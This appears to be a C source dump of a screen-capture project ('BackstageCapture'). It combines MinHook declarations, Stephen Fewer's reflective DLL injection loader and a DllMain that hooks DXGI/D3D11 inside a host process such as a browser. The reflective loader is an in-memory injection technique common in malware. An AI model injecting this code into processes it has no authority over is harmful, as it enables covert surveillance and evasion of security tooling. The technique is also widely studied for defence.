MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char* WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+61
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//===============================================================================================//
// BackstageCapture — ReflectiveDll.c
//
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
// is mapped into memory. Defers DXGI hook installation to a worker thread
// because DllMain runs under the loader lock and cannot safely call
// LoadLibrary / D3D11CreateDeviceAndSwapChain.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "DXGICapture.h"
extern HINSTANCE hAppInstance;
static HANDLE g_InitThread = NULL;
// Worker thread: waits for d3d11.dll to appear, then installs hooks.
static DWORD WINAPI DeferredInit(LPVOID param)
{
(void)param;
// Poll for d3d11.dll up to 60 seconds (browser may take a while)
for (int i = 0; i < 600; i++) {
if (GetModuleHandleA("d3d11.dll") != NULL)
break;
Sleep(100);
}
if (GetModuleHandleA("d3d11.dll") == NULL) {
// Process never loaded D3D11 — nothing to hook
return 0;
}
// Brief delay for swapchain creation
Sleep(500);
InstallDXGICapture();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
DisableThreadLibraryCalls(hinstDLL);
g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
if (g_InitThread) {
WaitForSingleObject(g_InitThread, 5000);
CloseHandle(g_InitThread);
g_InitThread = NULL;
}
RemoveDXGICapture();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
+548
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#define RDI_NOINLINE __declspec(noinline)
#else
#define RDI_NOINLINE __attribute__((noinline))
#endif
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return 0;
#endif
}
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
#ifdef WIN_X64
FARPROC pRtlAddFunctionTable = NULL;
#endif
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
#ifdef WIN_X64
{
HMODULE hNtdll = (HMODULE)pLoadLibraryA("ntdll.dll");
if (hNtdll)
pRtlAddFunctionTable = pGetProcAddress(hNtdll, "RtlAddFunctionTable");
}
#endif
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 5b: register exception function table (.pdata) with the OS.
#ifdef WIN_X64
if (pRtlAddFunctionTable)
{
PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
{
PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
if (pExcDir->VirtualAddress && pExcDir->Size)
{
typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
((RTLADDFNTABLE)pRtlAddFunctionTable)(
(PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
pExcDir->Size / sizeof(RUNTIME_FUNCTION),
(DWORD64)uiBaseAddress
);
}
}
}
#endif
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
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//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
